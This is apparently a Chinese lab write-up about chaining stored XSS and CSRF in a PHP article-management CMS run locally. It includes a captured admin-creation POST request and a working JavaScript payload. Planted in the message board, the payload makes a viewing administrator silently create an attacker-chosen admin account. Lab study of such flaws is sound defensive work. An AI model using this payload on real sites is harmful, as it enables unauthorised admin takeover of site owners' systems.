如下:我们是在一个类似文章管理系统的网站上面发现的该漏洞。我们将其运行在本地的phpstudy集成环境上面。
源码地址下载链接:https://pan.baidu.com/s/1MpnSAq7a_oOcGh4XgPE-2w
提取码:4444
本次实验使用的存储型xss与csrf的联合使用。我们使用这两个漏洞可以使当管理员查看留言板后自动触发,使其自动创建一个管理员账号。本网站并没有使用token值来防止csrf,所以我们才能够利用。
前提:我们是在拥有管理员权限的情况下进行的。
大致流程:
1:分析,发现存储型xss漏洞
2:发现该网站并无token值,可以进行csrf
3:使用js伪造创建管理员的form表单
4:当管理员查看留言板后自动触发xss,创建一个攻击者自己定义的管理员账号。
1:发现存储xss
发现该网站存在一个留言板,其中的内容会存入数据库中,管理员会不定期去查看留言板中的内容。如下:经过测试我们发现当我们将恶意的js代码放到内容板块中存入数据库,当管理员去查看留言信息后就会自动触发js恶意代码:
管理员查看留言板:可以发现自动弹窗了,说明这里存在一个存储型xss。
2:该网站并没有使用token值来防止csrf,接下来我们使用抓包工具burp suite来抓创建管理员的包,需要打开代理设置,指向抓包工具burp suite(这个操作比较简单,不会的可以进行百度):
创建管理员页面:
抓包:
- POST /admin/user.action.php HTTP/1.1
- Host: cms:1234
- Content-Length: 94
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- Origin: http://cms:1234
- Content-Type: application/x-www-form-urlencoded
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- Referer: http://cms:1234/admin/user.add.php?act=add
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
- Cookie: username=admin; userid=1; PHPSESSID=0m903rglk205acbq8ol191q271
- Connection: close
-
- act=add&username=2&password=2&password2=2&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0
通过对抓到的包分析:我们可以发现该包使用的是POST方式进行提交,将参数提交到/admin/user.action.php进行处理。所以我们就可以根据这个包中的内容进行伪造。
3:使用js伪造创建管理员账号的form表单:
- <script>
- xmlhttp = new XMLHttpRequest();
- xmlhttp.open("post","http://cms:1234/admin/user.action.php",false);
- xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
- xmlhttp.send("act=add&username=DJJ&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
- script>
整个js的操作是创建管理员的操作,不过是由js自动触发。
xmlhttp.open:提交地址
xmlhttp.setRequestHeader:post的请求头
xmlhttp.send:post中的参数(创建的账号,密码等)
4:将伪造的恶意js代码上传留言板,当管理员查看留言信息后自动触发,创建一个新的管理员账号。
5:管理员查看留言板,触发存储xss,创建管理员账号。
如下:当我们查看留言板后,在去查看管理员账号信息发现已经自动创建了一个我们定义的管理员账号。